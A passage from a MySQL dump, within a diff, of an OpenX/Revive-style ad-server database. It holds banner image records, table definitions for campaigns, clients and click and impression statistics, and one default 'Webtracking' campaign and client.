08:20:29','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(2,1,'jpeg',0,'web','2256ef0a5e9d26cec4aea2bbbdf87511.jpg','','','',1920,1080,1,0,'','','','','','sample2','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:20:48','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(3,1,'jpeg',0,'web','2256ef0a5e9d26cec4aea2bbbdf87511.jpg','','','',1920,1080,1,0,'','','','','','sample3','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:21:04','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(4,1,'jpeg',0,'web','c4b403cbcaa88ab0314bb410a7a5ee43.jpg','','','',160,160,1,0,'','','','','','Camera1','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:23:25','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(5,1,'png',0,'web','6c5de61af7427cf6e586adae7aa0d6d1.jpg','','','',172,163,1,0,'','','','','','Camera2','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:23:42','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(6,1,'png',0,'web','c569cf62c790549e342557b7054b539c.jpg','','','',147,122,1,0,'','','','','','Camera3','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:24:04','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(7,1,'jpeg',0,'web','5b198e258983daed4d8898250ae7d773.jpg','','','',227,222,1,0,'','','','','','Camera4','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:24:18','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(8,1,'jpeg',0,'web','b1af8018625cf9854fa7c82a812d454c.jpg','','','',237,213,1,0,'','','','','','Camera5','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:24:31','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(9,1,'jpeg',0,'web','511d2fc922e04b9aae0f256965c969d6.jpg','','','',240,159,1,0,'','','','','','Camera6','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:24:47','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(10,1,'png',0,'web','d7926a182ce3afc35e7664832babc74d.jpg','','','',202,139,1,0,'','','','','','LCD1','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:25:02','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(11,1,'png',0,'web','d0d441bd210df32ebdaacf550d1e962e.jpg','','','',206,138,1,0,'','','','','','LCD2','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:25:17','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(12,1,'png',0,'web','d2fc322cf1102b20751a980776a2f076.jpg','','','',175,125,1,0,'','','','','','LCD3','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:25:28','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(13,1,'jpeg',0,'web','dfd581f7e46a75bc7116d29639d84a0b.jpg','','','',171,128,1,0,'','','','','','LCD4','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:25:40','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(14,1,'jpeg',0,'web','acc42831222497131439fec5b972cce4.jpg','','','',172,123,1,0,'','','','','','LCD5','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:25:52','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(15,1,'jpeg',0,'web','76e20f0c5081c68915e528b0b88922cb.jpg','','','',157,128,1,0,'','','','','','LCD6','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:26:04','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(16,1,'jpeg',0,'web','bbaea7b89db953cb71fe8f670b0f0f37.jpg','','','',200,285,1,0,'','','','','','Mobile1','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:26:29','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(17,1,'jpeg',0,'web','523816fbe83e954d98d27e8f8f0cb259.jpg','','','',200,285,1,0,'','','','','','Mobile2','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:26:42','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(18,1,'jpeg',0,'web','d1a2d676a1fcc0d1261afbb31d12429b.jpg','','','',200,285,1,0,'','','','','','Mobile3','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:26:56','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(19,1,'jpeg',0,'web','ffe263d6b431ae023d41be6de78dbe94.jpg','','','',200,285,1,0,'','','','','','Mobile4','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:27:10','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(20,1,'jpeg',0,'web','04ff515ffd41bfe82985b4263259fe7e.jpg','','','',200,285,1,0,'','','','','','Mobile5','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:27:26','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(21,1,'jpeg',0,'web','f47b0fd65aa8b0e82e602be7b88039ba.jpg','','','',200,268,1,0,'','','','','','Mobile6','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:27:46','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(22,1,'jpeg',0,'web','eeb1670a6b0a6d7422459ddb7bbedfe0.jpg','','','',250,173,1,0,'','','','','','Shoe1','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:28:01','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(23,1,'jpeg',0,'web','c26d1157be9f8d35e97ed45e9389acc4.jpg','','','',250,173,1,0,'','','','','','Shoe2','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:28:13','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(24,1,'jpeg',0,'web','45491213e773c55b5fdf092c651656d8.jpg','','','',250,173,1,0,'','','','','','Shoe3','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:28:25','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(25,1,'jpeg',0,'web','2929d8e29b2227a4e170d6a9629b9eba.jpg','','','',250,173,1,0,'','','','','','Shoe4','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:28:36','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(26,1,'jpeg',0,'web','05f0078dcf2ce9a5ed890368a61380d6.jpg','','','',250,173,1,0,'','','','','','Shoe5','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:28:48','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''),(27,1,'jpeg',0,'web','388862b3843567b1282a99790428df7d.jpg','','','',250,173,1,0,'','','','','','Shoe6','',0,0,0,'',NULL,'',0,'','','','','2014-09-17 08:29:00','0000-00-00 00:00:00','',0,'N;',NULL,NULL,0,0,0,NULL,''); +/*!40000 ALTER TABLE `rv_banners` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_campaigns` +-- + +DROP TABLE IF EXISTS `rv_campaigns`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_campaigns` ( + `campaignid` mediumint(9) NOT NULL AUTO_INCREMENT, + `campaignname` varchar(255) NOT NULL DEFAULT '', + `clientid` mediumint(9) NOT NULL DEFAULT '0', + `views` int(11) DEFAULT '-1', + `clicks` int(11) DEFAULT '-1', + `conversions` int(11) DEFAULT '-1', + `priority` int(11) NOT NULL DEFAULT '0', + `weight` tinyint(4) NOT NULL DEFAULT '1', + `target_impression` int(11) NOT NULL DEFAULT '0', + `target_click` int(11) NOT NULL DEFAULT '0', + `target_conversion` int(11) NOT NULL DEFAULT '0', + `anonymous` enum('t','f') NOT NULL DEFAULT 'f', + `companion` smallint(1) DEFAULT '0', + `comments` text, + `revenue` decimal(10,4) DEFAULT NULL, + `revenue_type` smallint(6) DEFAULT NULL, + `updated` datetime NOT NULL, + `block` int(11) NOT NULL DEFAULT '0', + `capping` int(11) NOT NULL DEFAULT '0', + `session_capping` int(11) NOT NULL DEFAULT '0', + `an_campaign_id` int(11) DEFAULT NULL, + `as_campaign_id` int(11) DEFAULT NULL, + `status` int(11) NOT NULL DEFAULT '0', + `an_status` int(11) NOT NULL DEFAULT '0', + `as_reject_reason` int(11) NOT NULL DEFAULT '0', + `hosted_views` int(11) NOT NULL DEFAULT '0', + `hosted_clicks` int(11) NOT NULL DEFAULT '0', + `viewwindow` mediumint(9) NOT NULL DEFAULT '0', + `clickwindow` mediumint(9) NOT NULL DEFAULT '0', + `ecpm` decimal(10,4) DEFAULT NULL, + `min_impressions` int(11) NOT NULL DEFAULT '0', + `ecpm_enabled` tinyint(4) NOT NULL DEFAULT '0', + `activate_time` datetime DEFAULT NULL, + `expire_time` datetime DEFAULT NULL, + `type` tinyint(4) NOT NULL DEFAULT '0', + `show_capped_no_cookie` tinyint(4) NOT NULL DEFAULT '0', + PRIMARY KEY (`campaignid`), + KEY `rv_campaigns_clientid` (`clientid`) +) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_campaigns` +-- + +LOCK TABLES `rv_campaigns` WRITE; +/*!40000 ALTER TABLE `rv_campaigns` DISABLE KEYS */; +INSERT INTO `rv_campaigns` VALUES (1,'Webtracking - Default Campaign',1,-1,-1,-1,-1,1,0,0,0,'f',0,'',NULL,1,'2014-09-17 08:17:35',0,0,0,NULL,NULL,0,0,0,0,0,0,0,NULL,100,0,'2014-09-17 04:00:00',NULL,0,0); +/*!40000 ALTER TABLE `rv_campaigns` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_campaigns_trackers` +-- + +DROP TABLE IF EXISTS `rv_campaigns_trackers`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_campaigns_trackers` ( + `campaign_trackerid` mediumint(9) NOT NULL AUTO_INCREMENT, + `campaignid` mediumint(9) NOT NULL DEFAULT '0', + `trackerid` mediumint(9) NOT NULL DEFAULT '0', + `status` smallint(1) unsigned NOT NULL DEFAULT '4', + PRIMARY KEY (`campaign_trackerid`), + KEY `rv_campaigns_trackers_campaignid` (`campaignid`), + KEY `rv_campaigns_trackers_trackerid` (`trackerid`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_campaigns_trackers` +-- + +LOCK TABLES `rv_campaigns_trackers` WRITE; +/*!40000 ALTER TABLE `rv_campaigns_trackers` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_campaigns_trackers` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_category` +-- + +DROP TABLE IF EXISTS `rv_category`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_category` ( + `category_id` int(10) unsigned NOT NULL AUTO_INCREMENT, + `name` varchar(255) DEFAULT NULL, + PRIMARY KEY (`category_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_category` +-- + +LOCK TABLES `rv_category` WRITE; +/*!40000 ALTER TABLE `rv_category` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_category` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_channel` +-- + +DROP TABLE IF EXISTS `rv_channel`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_channel` ( + `channelid` mediumint(9) NOT NULL AUTO_INCREMENT, + `agencyid` mediumint(9) NOT NULL DEFAULT '0', + `affiliateid` mediumint(9) NOT NULL DEFAULT '0', + `name` varchar(255) DEFAULT NULL, + `description` varchar(255) DEFAULT NULL, + `compiledlimitation` text NOT NULL, + `acl_plugins` text, + `active` smallint(1) DEFAULT NULL, + `comments` text, + `updated` datetime NOT NULL, + `acls_updated` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', + PRIMARY KEY (`channelid`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_channel` +-- + +LOCK TABLES `rv_channel` WRITE; +/*!40000 ALTER TABLE `rv_channel` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_channel` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_clients` +-- + +DROP TABLE IF EXISTS `rv_clients`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_clients` ( + `clientid` mediumint(9) NOT NULL AUTO_INCREMENT, + `agencyid` mediumint(9) NOT NULL DEFAULT '0', + `clientname` varchar(255) NOT NULL DEFAULT '', + `contact` varchar(255) DEFAULT NULL, + `email` varchar(64) NOT NULL DEFAULT '', + `report` enum('t','f') NOT NULL DEFAULT 't', + `reportinterval` mediumint(9) NOT NULL DEFAULT '7', + `reportlastdate` date NOT NULL DEFAULT '0000-00-00', + `reportdeactivate` enum('t','f') NOT NULL DEFAULT 't', + `comments` text, + `updated` datetime NOT NULL, + `an_adnetwork_id` int(11) DEFAULT NULL, + `as_advertiser_id` int(11) DEFAULT NULL, + `account_id` mediumint(9) DEFAULT NULL, + `advertiser_limitation` tinyint(1) NOT NULL DEFAULT '0', + `type` tinyint(4) NOT NULL DEFAULT '0', + PRIMARY KEY (`clientid`), + UNIQUE KEY `rv_clients_account_id` (`account_id`), + KEY `rv_clients_agencyid_type` (`agencyid`,`type`) +) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_clients` +-- + +LOCK TABLES `rv_clients` WRITE; +/*!40000 ALTER TABLE `rv_clients` DISABLE KEYS */; +INSERT INTO `rv_clients` VALUES (1,1,'Webtracking','wtadmim','wtadmin@wtlab.com','f',7,'2014-09-17','f','','2014-09-17 08:17:24',NULL,NULL,3,0,0); +/*!40000 ALTER TABLE `rv_clients` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_bkt_a` +-- + +DROP TABLE IF EXISTS `rv_data_bkt_a`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_bkt_a` ( + `server_conv_id` bigint(20) NOT NULL AUTO_INCREMENT, + `server_ip` varchar(16) NOT NULL DEFAULT '', + `tracker_id` mediumint(9) NOT NULL, + `date_time` datetime NOT NULL, + `action_date_time` datetime NOT NULL, + `creative_id` mediumint(9) NOT NULL, + `zone_id` mediumint(9) NOT NULL, + `ip_address` varchar(16) NOT NULL DEFAULT '', + `action` int(10) DEFAULT NULL, + `window` int(10) DEFAULT NULL, + `status` int(10) DEFAULT NULL, + PRIMARY KEY (`server_conv_id`,`server_ip`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_bkt_a` +-- + +LOCK TABLES `rv_data_bkt_a` WRITE; +/*!40000 ALTER TABLE `rv_data_bkt_a` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_bkt_a` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_bkt_a_var` +-- + +DROP TABLE IF EXISTS `rv_data_bkt_a_var`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_bkt_a_var` ( + `server_conv_id` bigint(20) NOT NULL AUTO_INCREMENT, + `server_ip` varchar(16) NOT NULL DEFAULT '', + `tracker_variable_id` mediumint(9) NOT NULL, + `value` text, + `date_time` datetime NOT NULL, + PRIMARY KEY (`server_conv_id`,`server_ip`,`tracker_variable_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_bkt_a_var` +-- + +LOCK TABLES `rv_data_bkt_a_var` WRITE; +/*!40000 ALTER TABLE `rv_data_bkt_a_var` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_bkt_a_var` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_bkt_c` +-- + +DROP TABLE IF EXISTS `rv_data_bkt_c`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_bkt_c` ( + `interval_start` datetime NOT NULL, + `creative_id` mediumint(9) NOT NULL, + `zone_id` mediumint(9) NOT NULL, + `count` int(11) NOT NULL DEFAULT '0', + PRIMARY KEY (`interval_start`,`creative_id`,`zone_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_bkt_c` +-- + +LOCK TABLES `rv_data_bkt_c` WRITE; +/*!40000 ALTER TABLE `rv_data_bkt_c` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_bkt_c` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_bkt_m` +-- + +DROP TABLE IF EXISTS `rv_data_bkt_m`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_bkt_m` ( + `interval_start` datetime NOT NULL, + `creative_id` mediumint(9) NOT NULL, + `zone_id` mediumint(9) NOT NULL, + `count` int(11) NOT NULL DEFAULT '0', + PRIMARY KEY (`interval_start`,`creative_id`,`zone_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_bkt_m` +-- + +LOCK TABLES `rv_data_bkt_m` WRITE; +/*!40000 ALTER TABLE `rv_data_bkt_m` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_bkt_m` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_bkt_r` +-- + +DROP TABLE IF EXISTS `rv_data_bkt_r`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_bkt_r` ( + `interval_start` datetime NOT NULL, + `creative_id` mediumint(9) NOT NULL, + `zone_id` mediumint(9) NOT NULL, + `count` int(11) NOT NULL DEFAULT '0', + PRIMARY KEY (`interval_start`,`creative_id`,`zone_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_bkt_r` +-- + +LOCK TABLES `rv_data_bkt_r` WRITE; +/*!40000 ALTER TABLE `rv_data_bkt_r` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_bkt_r` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_bkt_vast_e` +-- + +DROP TABLE IF EXISTS `rv_data_bkt_vast_e`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_bkt_vast_e` ( + `interval_start` datetime NOT NULL, + `creative_id` mediumint(20) NOT NULL, + `zone_id` mediumint(20) NOT NULL, + `vast_event_id` mediumint(20) NOT NULL, + `count` int(11) NOT NULL DEFAULT '0', + PRIMARY KEY (`interval_start`,`creative_id`,`zone_id`,`vast_event_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_bkt_vast_e` +-- + +LOCK TABLES `rv_data_bkt_vast_e` WRITE; +/*!40000 ALTER TABLE `rv_data_bkt_vast_e` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_bkt_vast_e` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_intermediate_ad` +-- + +DROP TABLE IF EXISTS `rv_data_intermediate_ad`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_intermediate_ad` ( + `data_intermediate_ad_id` bigint(20) NOT NULL AUTO_INCREMENT, + `date_time` datetime NOT NULL, + `operation_interval` int(10) unsigned NOT NULL, + `operation_interval_id` int(10) unsigned NOT NULL, + `interval_start` datetime NOT NULL, + `interval_end` datetime NOT NULL, + `ad_id` int(10) unsigned NOT NULL, + `creative_id` int(10) unsigned NOT NULL, + `zone_id` int(10) unsigned NOT NULL, + `requests` int(10) unsigned NOT NULL DEFAULT '0', + `impressions` int(10) unsigned NOT NULL DEFAULT '0', + `clicks` int(10) unsigned NOT NULL DEFAULT '0', + `conversions` int(10) unsigned NOT NULL DEFAULT '0', + `total_basket_value` decimal(10,4) NOT NULL DEFAULT '0.0000', + `total_num_items` int(11) NOT NULL DEFAULT '0', + `updated` datetime NOT NULL, + PRIMARY KEY (`data_intermediate_ad_id`), + KEY `rv_data_intermediate_ad_ad_id_date_time` (`ad_id`,`date_time`), + KEY `rv_data_intermediate_ad_zone_id_date_time` (`zone_id`,`date_time`), + KEY `rv_data_intermediate_ad_date_time` (`date_time`), + KEY `rv_data_intermediate_ad_interval_start` (`interval_start`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_intermediate_ad` +-- + +LOCK TABLES `rv_data_intermediate_ad` WRITE; +/*!40000 ALTER TABLE `rv_data_intermediate_ad` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_intermediate_ad` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_intermediate_ad_connection` +-- + +DROP TABLE IF EXISTS `rv_data_intermediate_ad_connection`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_intermediate_ad_connection` ( + `data_intermediate_ad_connection_id` bigint(20) NOT NULL AUTO_INCREMENT, + `server_raw_ip` varchar(16) NOT NULL DEFAULT '', + `server_raw_tracker_impression_id` bigint(20) NOT NULL, + `viewer_id` varchar(32) DEFAULT NULL, + `viewer_session_id` varchar(32) DEFAULT NULL, + `tracker_date_time` datetime NOT NULL, + `connection_date_time` datetime DEFAULT NULL, + `tracker_id` int(10) unsigned NOT NULL, + `ad_id` int(10) unsigned NOT NULL, + `creative_id` int(10) unsigned NOT NULL, + `zone_id` int(10) unsigned NOT NULL, + `tracker_channel` varchar(255) DEFAULT NULL, + `connection_channel` varchar(255) DEFAULT NULL, + `tracker_channel_ids` varchar(64) DEFAULT NULL, + `connection_channel_ids` varchar(64) DEFAULT NULL, + `tracker_language` varchar(13) DEFAULT NULL, + `connection_language` varchar(13) DEFAULT NULL, + `tracker_ip_address` varchar(16) DEFAULT NULL, + `connection_ip_address` varchar(16) DEFAULT NULL, + `tracker_host_name` varchar(255) DEFAULT NULL, + `connection_host_name` varchar(255) DEFAULT NULL, + `tracker_country` char(2) DEFAULT NULL, + `connection_country` char(2) DEFAULT NULL, + `tracker_https` int(10) unsigned DEFAULT NULL, + `connection_https` int(10) unsigned DEFAULT NULL, + `tracker_domain` varchar(255) DEFAULT NULL, + `connection_domain` varchar(255) DEFAULT NULL, + `tracker_page` varchar(255) DEFAULT NULL, + `connection_page` varchar(255) DEFAULT NULL, + `tracker_query` varchar(255) DEFAULT NULL, + `connection_query` varchar(255) DEFAULT NULL, + `tracker_referer` varchar(255) DEFAULT NULL, + `connection_referer` varchar(255) DEFAULT NULL, + `tracker_search_term` varchar(255) DEFAULT NULL, + `connection_search_term` varchar(255) DEFAULT NULL, + `tracker_user_agent` varchar(255) DEFAULT NULL, + `connection_user_agent` varchar(255) DEFAULT NULL, + `tracker_os` varchar(32) DEFAULT NULL, + `connection_os` varchar(32) DEFAULT NULL, + `tracker_browser` varchar(32) DEFAULT NULL, + `connection_browser` varchar(32) DEFAULT NULL, + `connection_action` int(10) unsigned DEFAULT NULL, + `connection_window` int(10) unsigned DEFAULT NULL, + `connection_status` int(10) unsigned NOT NULL DEFAULT '4', + `inside_window` tinyint(1) NOT NULL DEFAULT '0', + `comments` text, + `updated` datetime NOT NULL, + PRIMARY KEY (`data_intermediate_ad_connection_id`), + KEY `rv_data_intermediate_ad_connection_tracker_date_time` (`tracker_date_time`), + KEY `rv_data_intermediate_ad_connection_tracker_id` (`tracker_id`), + KEY `rv_data_intermediate_ad_connection_ad_id` (`ad_id`), + KEY `rv_data_intermediate_ad_connection_zone_id` (`zone_id`), + KEY `rv_data_intermediate_ad_connection_viewer_id` (`viewer_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_intermediate_ad_connection` +-- + +LOCK TABLES `rv_data_intermediate_ad_connection` WRITE; +/*!40000 ALTER TABLE `rv_data_intermediate_ad_connection` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_intermediate_ad_connection` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_intermediate_ad_variable_value` +-- + +DROP TABLE IF EXISTS `rv_data_intermediate_ad_variable_value`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_intermediate_ad_variable_value` ( + `data_intermediate_ad_variable_value_id` bigint(20) NOT NULL AUTO_INCREMENT, + `data_intermediate_ad_connection_id` bigint(20) NOT NULL, + `tracker_variable_id` int(11) NOT NULL, + `value` varchar(50) DEFAULT NULL, + PRIMARY KEY (`data_intermediate_ad_variable_value_id`), + KEY `rv_data_intermediate_ad_variable_value_data_intermediate_ad_con` (`data_intermediate_ad_connection_id`), + KEY `rv_data_intermediate_ad_variable_value_tracker_variable_id` (`tracker_variable_id`), + KEY `rv_data_intermediate_ad_variable_value_tracker_value` (`value`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_intermediate_ad_variable_value` +-- + +LOCK TABLES `rv_data_intermediate_ad_variable_value` WRITE; +/*!40000 ALTER TABLE `rv_data_intermediate_ad_variable_value` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_intermediate_ad_variable_value` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_raw_ad_click` +-- + +DROP TABLE IF EXISTS `rv_data_raw_ad_click`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_raw_ad_click` ( + `viewer_id` varchar(32) DEFAULT NULL, + `viewer_session_id` varchar(32) DEFAULT NULL, + `date_time` datetime NOT NULL, + `ad_id` int(10) unsigned NOT NULL, + `creative_id` int(10) unsigned NOT NULL, + `zone_id` int(10) unsigned NOT NULL, + `channel` varchar(255) DEFAULT NULL, + `channel_ids` varchar(64) DEFAULT NULL, + `language` varchar(32) DEFAULT NULL, + `ip_address` varchar(16) DEFAULT NULL, + `host_name` varchar(255) DEFAULT NULL, + `country` char(2) DEFAULT NULL, + `https` tinyint(1) DEFAULT NULL, + `domain` varchar(255) DEFAULT NULL, + `page` varchar(255) DEFAULT NULL, + `query` varchar(255) DEFAULT NULL, + `referer` varchar(255) DEFAULT NULL, + `search_term` varchar(255) DEFAULT NULL, + `user_agent` varchar(255) DEFAULT NULL, + `os` varchar(32) DEFAULT NULL, + `browser` varchar(32) DEFAULT NULL, + `max_https` tinyint(1) DEFAULT NULL, + `geo_region` varchar(50) DEFAULT NULL, + `geo_city` varchar(50) DEFAULT NULL, + `geo_postal_code` varchar(10) DEFAULT NULL, + `geo_latitude` decimal(8,4) DEFAULT NULL, + `geo_longitude` decimal(8,4) DEFAULT NULL, + `geo_dma_code` varchar(50) DEFAULT NULL, + `geo_area_code` varchar(50) DEFAULT NULL, + `geo_organisation` varchar(50) DEFAULT NULL, + `geo_netspeed` varchar(20) DEFAULT NULL, + `geo_continent` varchar(13) DEFAULT NULL, + KEY `rv_data_raw_ad_click_viewer_id` (`viewer_id`), + KEY `rv_data_raw_ad_click_date_time` (`date_time`), + KEY `rv_data_raw_ad_click_ad_id` (`ad_id`), + KEY `rv_data_raw_ad_click_zone_id` (`zone_id`) +) ENGINE=MyISAM DEFAULT CHARSET=latin1; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `rv_data_raw_ad_click` +-- + +LOCK TABLES `rv_data_raw_ad_click` WRITE; +/*!40000 ALTER TABLE `rv_data_raw_ad_click` DISABLE KEYS */; +/*!40000 ALTER TABLE `rv_data_raw_ad_click` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `rv_data_raw_ad_impression` +-- + +DROP TABLE IF EXISTS `rv_data_raw_ad_impression`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `rv_data_raw_ad_impression` ( + `viewer_id` varchar(32) DEFAULT NULL, + `viewer_session_id` varchar(32) DEFAULT NULL, + `date_time` datetime NOT NULL, + `ad_id` int(10) unsigned NOT NULL, + `creative_id` 